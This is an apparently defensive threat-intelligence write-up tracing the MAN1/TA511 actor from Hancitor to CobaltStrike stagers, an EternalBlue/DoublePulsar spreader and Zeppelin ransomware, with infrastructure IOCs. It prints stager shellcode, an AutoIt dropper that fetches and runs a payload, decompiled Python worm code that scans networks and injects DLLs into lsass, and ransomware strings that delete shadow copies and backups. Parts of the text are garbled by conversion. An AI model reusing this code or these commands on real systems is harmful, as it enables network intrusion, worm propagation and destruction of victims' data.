# MAN1, Moskal, Hancitor and a side of Ransomware **[medium.com/walmartglobaltech/man1-moskal-hancitor-and-a-side-of-ransomware-d77b4d991618](https://medium.com/walmartglobaltech/man1-moskal-hancitor-and-a-side-of-ransomware-d77b4d991618)** Jason Reaves January 10, 2021 ### Jason Reaves Jan 10, 2021 · 13 min read MAN1 AKA Moskalvzapoe AKA TA511 are all names given to a threat actor(TA) that has been active in most major crimeware activities since at least 2014. Within the last few years most of the major e-crime groups have shifted away from normal banking trojan operations and moved towards ransom and data theft, this transition has proven to be very beneficial for them — even though it is a drastic shift from the older days where locking activities were considered to be low-tier activities and a waste of an infection. ----- ### Ransomware payments from FBI, Photo Credit As more groups began pivoting to enterprise-focused ransomware activities into 2020, it caused a trend where companies began funding these e-crime groups through ransom payments, turning them into criminal organizations with funding that rivals any major security startup. MAN1 is no exception as many researchers started to notice that Hancitor/Chanitor campaigns began leading to CobaltStrike. In the linked sandbox report from the SANS article we can download and decode the chanitor/hancitor task listed: ``` http://yudiartawan.com/a The file can be decoded by using the first 8 bytes as a XOR key and then LZNT decompressing the result. After decoding the file we are left with a packed CobaltStrike stager, these stagers are built from CobaltStrike much like the beacon files as both will share the same watermark. After unpacking we can decode the shellcode that will be responsible for downloading the beacon file: ``` ----- ``` \xfc\xe8\x89\x00\x00\x00 \x89\xe51\xd2d\x8bR0\x8bR\x0c\x8bR\x14\x8br(\x0f\xb7J&1\xff1\ \xc1\xcf\r\x01\xc7\xe2\xf0RW\x8bR\x10\x8bB<\x01\xd0\x8b@x\x85\xc0tJ\x01\xd0P\x8bH\x18\ \x01\xd3\xe3>> a \x06\xc38\xaa >>> data open( tYX7.decoded, rb ).read()>>> data.find(a)202686>>> data[202650:202700]‘ijiy9&:=iiiiiiiiiiiiiuikimiiiiiLikim\x06\xc38\xaaiOihikiiiN’ ### Then do a VT content search based on part of the encoded data: content:"{696b696d06c338aa}" Which leads to a bunch of files for pivoting to. If the CS package is shared or leaked however then it can lead you down all sorts of rabbit holes, you can use it find lots of samples and then automate decoding all the config data and compare the beacon config and templating to try to find more related files. For now I’m interested in a sample that talks to the IP and is packed with the same packer as the previous one: bd3c278309e4fe19f7b424ee0b56a1a2c0bbae3a59882d5b6f171d3ca89f728b Unpacking this file gives us similar shellcode: ``` ----- ``` \xfc\xe8\x89\x00\x00\x00 \x89\xe51\xd2d\x8bR0\x8bR\x0c\x8bR\x14\x8br(\x0f\xb7J&1\xff1\ \xc1\xcf\r\x01\xc7\xe2\xf0RW\x8bR\x10\x8bB<\x01\xd0\x8b@x\x85\xc0tJ\x01\xd0P\x8bH\x18\ \x01\xd3\xe3 "WIN_10" Then If NOT FileExists("C:\Programdata\RunDLL\Doublepulsar-1.3.1.exe") OR NOT FileExists("C:\Programdata\RunDLL\Eternalblue-2.2.0.exe") OR NOT FileExists("C:\Programdata\RunDLL\rundll.exe") OR NOT FileExists("C:\Programdata\RunDLL\system.exe") OR NOT FileExists("C:\Programdata\RunDLL\start.exe") Then ConsoleWrite("Downlading Scaner.dat" & @CRLF) Local $ftp_xmrigcpu64 = "scaner.dat" Local $hopen = _ftp_open("FTP") Local $hconn = _ftp_connect($hopen, $server, $username, $pass, 1) Local $ftpg = _ftp_fileget($hconn, $ftp_xmrigcpu64, "C:\Programdata\WindowsTask" & "\" & $ftp_xmrigcpu64) Local $isize = _ftp_filegetsize($hconn, "/" & $ftp_xmrigcpu64) ConsoleWrite($isize & @CRLF) Local $iftpc = _ftp_close($hconn) Local $iftpo = _ftp_close($hopen) FileSetAttrib("C:\ProgramData\WindowsTask\scaner.dat", "+SH") Sleep(300) FileMove("C:\Programdata\Windowstask\scaner.dat", "C:\Programdata\WindowsTask\scaner.exe") FileSetAttrib("C:\ProgramData\WindowsTask\scaner.exe", "+SH") Sleep(300) Run("C:\Programdata\WindowsTask\scaner.exe pnaxui") Sleep(2000) FileDelete("C:\Programdata\WindowsTask\scaner.dat") FileDelete("C:\Programdata\WindowsTask\scaner.exe") FileSetAttrib("C:\ProgramData\RunDLL\*.*", "+SH") FileSetAttrib("C:\ProgramData\RunDLL", "+SH") EndIf Sleep(2000) If NOT ProcessExists("system.exe") Then If NOT ProcessExists("Msiexec64.exe") Then If FileExists("C:\ProgramData\RunDLL\start.exe") Then Run("C:\ProgramData\RunDLL\start.exe") ConsoleWrite("Staring Scaner RunDLL.exe" & @CRLF) EndIf EndIf EndIf EndIf ### FTP server is on same range as some of the CS boxes: learinmica .com. 600 IN A 31.44.184 .108 scaner.dat — 3f51abd78e607bcd707cbd2f4d90a3d02d5d00fa07320a88838c373239ee6d4b This file is a password protected self extracting rar, the password is naxui from the detonation above in the script. After unpacking the files we are left with a bunch of files related to EternalBlue and DoublePulsar but the script above is mainly related to detonating start.exe start.exe — 54081e33bcd09d29d065533c230256e49adff2edd48f5eb91a2434c03dd9ecb9 This file is a SFX RAR with a vbs inside of it, the VBS file just detonates another file that was unpacked: ``` ----- ``` Set WshShell CreateObject( WScript.Shell ) WshShell.Run cmd.exe /c Rundll.exe, 0, false ### rundll.exe — 8b58e3a1a6a11225050af6c82e92451779c0315a602d19ad330e175a7c416bf6 This is a compiled python script which we can decompile: ``` ----- ``` import subprocess import time import threading import socket import sys import random import os try: MyIP = socket.gethostbyname_ex(socket.gethostname())[2] except: MyIP = '10.0.0.2' def EternalBlue(ip): path = 'Eternalblue-2.2.0.exe' inconfig = ' --inconfig Eternalblue-2.2.0.xml' NetworkTimeout = ' --NetworkTimeout 60' TargetIp = ' --TargetIp %s' % ip TargetPort = ' --TargetPort 445' Target = ' --Target WIN72K8R2' summ = path + inconfig + NetworkTimeout + TargetIp + TargetPort + Target PIPE = subprocess.PIPE p = subprocess.Popen(summ, shell=True, stdin=PIPE, stdout=PIPE, stderr=subprocess.STDOUT) output = p.communicate() output = list(output) output = output[0].split('\r\n') if output.count('[+] CORE terminated with status code 0x00000000') == 1 and output.count(' [+] Ping returned Target architecture: x64 (64-bit)'): x = 'good x64' return x elif output.count('[+] CORE terminated with status code 0x00000000') == 1 and output.count(' [+] Ping returned Target architecture: x86 (32-bit)'): x = 'good x86' return x else: x = 'not good' return x def Pulsar(ip, arch, dll): path = 'Doublepulsar-1.3.1.exe' inconfig = ' --inconfig Doublepulsar-1.3.1.xml' NetworkTimeout = ' --NetworkTimeout 60' TargetIp = ' --TargetIp %s' % ip TargetPort = ' --TargetPort 445' DllPayload = ' --DllPayload %s' % dll DllOrdinal = ' --DllOrdinal 1' ProcessName = ' --ProcessName lsass.exe' Protocol = ' --Protocol SMB' Architecture = ' --Architecture %s' % arch Function = ' --Fuction RunDll' processCommandLine = ' --processCommandLine' summ = path + inconfig + NetworkTimeout + TargetIp + TargetPort + Architecture + ``` ----- ``` DllPayload + Protocol + DllOrdinal + Function + ProcessName + processCommandLine PIPE = subprocess.PIPE p = subprocess.Popen(summ, shell=True, stdin=PIPE, stdout=PIPE, stderr=subprocess.STDOUT) output = p.communicate() list(output) output = output[0].split('\r\n') def scaner(ip): try: os.remove('Result.txt') except: pass Result = [] scan = 'system.exe TCP %s 445 150 /save' % ip PIPE = subprocess.PIPE p = subprocess.Popen(scan, shell=True, stdin=PIPE, stdout=PIPE, stderr=subprocess.STDOUT) output = p.communicate() for line in open('Result.txt', 'r').read().split('\n'): if line.find('Open') > 1: Result.append(line.split(' ')[0]) print Result os.remove('Result.txt') return Result def scaner_local(ip): try: os.remove('Result.txt') except: pass Result = [] scan = 'system.exe TCP %s 445 150 /save' % ip PIPE = subprocess.PIPE p = subprocess.Popen(scan, shell=True, stdin=PIPE, stdout=PIPE, stderr=subprocess.STDOUT) output = p.communicate() for line in open('Result.txt', 'r').read().split('\n'): if line.find('Open') > 1: Result.append(line.split(' ')[0]) ``` ----- ``` for x in MyIP: if x in Result: Result.remove(x) os.remove('Result.txt') return Result def attack(lst): status = EternalBlue(lst) if status == 'good x64': Pulsar(lst, 'x64', 'x64.dll') print 'Attack %s good' % lst elif status == 'good x86': Pulsar(lst, 'x86', 'x86.dll') print 'Attack %s good' % lst else: print 'Attack %s not good!!!' % lst def attack2(lst): status = EternalBlue(lst) if status == 'good x64': Pulsar(lst, 'x64', '2x64.dll') print 'Attack %s good' % lst elif status == 'good x86': Pulsar(lst, 'x86', '2x86.dll') print 'Attack %s good' % lst else: print 'Attack %s not good!!!' % lst def new_start(): print 'STARTED' scanlist = [] lst = [] for line in open('scan.txt', 'r').read().split('\n'): for unit in line.split(' '): scanlist.append(unit) randomip = random.choice(scanlist) lst = scaner(randomip) for y in lst: thread_ = threading.Thread(target=attack2, args=(y,)).start() while threading.active_count() > 2: time.sleep(5) ``` ----- ``` print 'FINISHED' def start_local(): print 'STARTED_local' lst = [] for ip in MyIP: lst = scaner_local(ip + '/16') for y in lst: thread_ = threading.Thread(target=attack, args=(y,)).start() while threading.active_count() > 2: time.sleep(5) print 'FINISHED' def new_random(): print 'STARTED' randomip = str(random.randint(1, 254)) + '.' + str(random.randint(0, 254)) + '.' + '0.' + '0' print 'scan ' + randomip + '/16' lst = scaner(randomip + '/16') for y in lst: thread_ = threading.Thread(target=attack, args=(y,)).start() while threading.active_count() > 2: time.sleep(5) print 'FINISHED' while True: new_start() start_local() ### Ultimately this script is using DoublePulsar and EternalBlue to spread the x86.dll,x64.dll,2x86.dll,2x64.dll files which turn out to be fairly simplistic downloaders: User-Agent RookIE/1.0hxxp://learinmica.com/update/update[.]rar The file will be stored in the ProgramData directory and leads to similar Autoit executables for using scaner.dat and CS stagers leading to more CS servers: taskhosta.exe - e2f686f17b73398d949998e46c7fde48d0507b324a811df39cdd91531deb3d89 This is a CS stager using a different watermark and downloading a beacon from: ``` ----- ``` 31.44.184 .50/nECf ### The other file we previously mentioned from 45.142.213[.]167: oxford.exe - 6e4459199d7fbdc4c215e595906e78fdd1c15ad3be6abed6540b80de17b63f3b This is VegaLocker ransomware version Zeppelin, we can quickly decode all the onboard strings: >>> import re>>> t = re.findall('''\xff\xff\xff\xff.\x00\x00\x00''', data)>>> len(t)268>>> def decode(blah):... rc4 = ARC4.new(blah[:0x20])... return rc4.decrypt(blah[0x20:])... >>> import struct>>> for val in t:... o = data.find(val)... (a,b) = struct.unpack_from(' NtQuerySystemInformation NtQuerySystemInformation 1767974731E6E223476E65712463554E87F55542B120AB1CE64651031B43D6AF4DECB1CF8ED6E71FED2376 1767974731E6E223476E65712463554E87F55542B120AB1CE64651031B43D6AF4DECB1CF8ED6E71FED2376 {15F7DAB8-8C18-A41B-BFCD-C970AE422622} bcdedit /set {default} bootstatuspolicy ignoreallfailures;bcdedit /set {default} recoveryenabled no;wbadmin delete catalog -quiet;wbadmin delete systemstatebackup;wbadmin delete systemstatebackup -keepversions:0;wbadmin delete backup;wmic shadowcopy delete;vssadmin delete shadows /all /quiet; boot.ini;bootfont.bin;bootsect.bak;desktop.ini;iconcache.db;ntdetect.com;ntldr;ntuser. :\$Windows.~bt\;:\System Volume Information\;:\Windows.old\;:\Windows\;:\intel\;:\nvidia\;:\inetpub\logs\;\All Users\;\AppData\;\Apple Computer\Safari\;\Application Data\;\Boot\;\Google\;\Google\Chrome\;\Mozilla Firefox\;\Mozilla\;\Opera Software\;\Opera\;\Tor Browser\;\Common Files\;\Internet Explorer\;\Windows Defender\;\Windows Mail\;\Windows Media Player\;\Windows Multimedia Platform\;\Windows NT\;\Windows Photo Viewer\;\Windows Portable Devices\;\WindowsPowerShell\;\Windows Photo Viewer\;\Windows Security\;\Embedded Lockdown Manager\;\Windows Journal\;\MSBuild\;\Reference Assemblies\;\Windows Sidebar\;\Windows Defender Advanced Threat Protection\;\Microsoft\;\Package Cache\;\Microsoft Help\; QueryFullProcessImageNameW Veeam.Backup.Manager.exe;Veeam.Backup.Agent.ConfigurationService.exe;Veeam.Backup.Brok nt.exe;mysqldopt.exe;mysqld.exe;ncsvc.exe;ocautoupds.exe;ocomm.exe;ocssd.exe;oracle.exe;oracle.exe; .bat;.cmd;.com;.cpl;.dll;.msc;.msp;.pif;.scr;.sys;.log;.lnk;.zeppelin; !!! ALL YOUR FILES ARE ENCRYPTED !!!.TXT !!! ALL YOUR FILES ARE ENCRYPTED !!! All your files, documents, photos, databases and other important files are encrypted. !!! YOUR FILES ARE ENCRYPTED !!! All your files, documents, photos, databases and other important files are encrypted. You are not able to decrypt it by yourself! There is only one method of recovering files it is purchase an unique private key. Write to angry_war@protonmail.ch Your personal ID: ``` ----- ``` Attention! Do not rename encrypted files. Do not try to decrypt your data using third party software, it may cause permanent data loss. ### We can continue pivoting on some of the CobaltStrike C2 servers, their admin ports are 43890 instead of the default 50050 and the cert is static: s:C = US, ST = Washington, L = Redmond, O = Microsoft Corporation, OU = Microsoft Corporation, CN = Outlook.live.com I wrote up a tool for cert scanning ranges a number of years ago for a local conference and we can use it here to scan entire ranges looking for this actors infrastructure. 4a08189c6f97c3b9a424f1f18c5c4356beaf1b3eIP: 31.44.184.181 4a08189c6f97c3b9a424f1f18c5c4356beaf1b3eIP: 31.44.184.165 - 4a08189c6f97c3b9a424f1f18c5c4356beaf1b3eIP: 31.44.184.84 - 4a08189c6f97c3b9a424f1f18c5c4356beaf1b3eIP: 31.44.184.100 - 4a08189c6f97c3b9a424f1f18c5c4356beaf1b3eIP: 31.44.184.74 - 4a08189c6f97c3b9a424f1f18c5c4356beaf1b3eIP: 31.44.184.82 - 4a08189c6f97c3b9a424f1f18c5c4356beaf1b3eIP: 31.44.184.174 - 4a08189c6f97c3b9a424f1f18c5c4356beaf1b3eIP: 31.44.184.56 - 4a08189c6f97c3b9a424f1f18c5c4356beaf1b3eIP: 31.44.184.73 - 4a08189c6f97c3b9a424f1f18c5c4356beaf1b3eIP: 31.44.184.63 - Another range: ``` ----- ``` 4a08189c6f97c3b9a424f1f18c5c4356beaf1b3eIP: 185.153.199.162 2a332c3a76f2bea5d458f33cf025db656983c72eIP: 185.153.199.161 - Empty733716db5a44d79a1a2881109f62060079b5b7a0IP: 185.153.199.167 Empty21338c5fec99e8df6573b169fbb2f388b84f82efIP: 185.153.199.165 Empty4a08189c6f97c3b9a424f1f18c5c4356beaf1b3eIP: 185.153.199.163 4a08189c6f97c3b9a424f1f18c5c4356beaf1b3eIP: 185.153.199.166 - 4a08189c6f97c3b9a424f1f18c5c4356beaf1b3eIP: 185.153.199.164 - ### The ‘Empty’ ones are the default CS admin certification: subject=C = Earth, ST = Cyberspace, L = Somewhere, O = cobaltstrike, OU = AdvancedPenTesting, CN = Major Cobalt Strike More pivoting on one of the CS servers ‘31.44.184.63’ has an interesting file associated with it on VirusTotal. fe7d4cb5112f5ae0a3d0f9593e1954c60f771f14cc161acd9bdf2f91f2d3267a This file is a packed sample of Send-Safe spam bot. {'C2': '31.44.184.63:50001/50002', 'CONF': '31.44.184.63:50001/50002;Enterprise Mailing Service'} Send-Safe spammer is also a known utility used by this threat group. ## IOCs ### CS Related Hashes: 655346f41c456cefd9d40c1b9484f1c0dfa36d180c72dd2d1ada26661be1ca6d2d038b20eaf05bb8d67354 IPs: 31.44.184.18131.44.184.16531.44.184.8431.44.184.10031.44.184.7431.44.184.8231.44.184.1 ## References ### https://vixra.org/abs/1902.0257 https://www.blueliv.com/downloads/network-insights-into-vawtrak-v2.pdf https://www.proofpoint.com/sites/default/files/pfpt-us-tr-q117-threat-report.pdf https://isc.sans.edu/forums/diary/Hancitor+infection+with+Pony+Evil+Pony+Ursnif+and+Cob alt+Strike/25532/ https://app.any.run/tasks/5d21ab13-70fb-4ccf-8a80-545d19c7d20f/ ``` ----- ### https://www.malware-traffic-analysis.net/2020/10/20/index.html https://www.malware-traffic-analysis.net/2020/01/21/index2.html https://lokalhost.pl/txt/peering.into.spam.botnets.VirusBulletin2017.pdf -----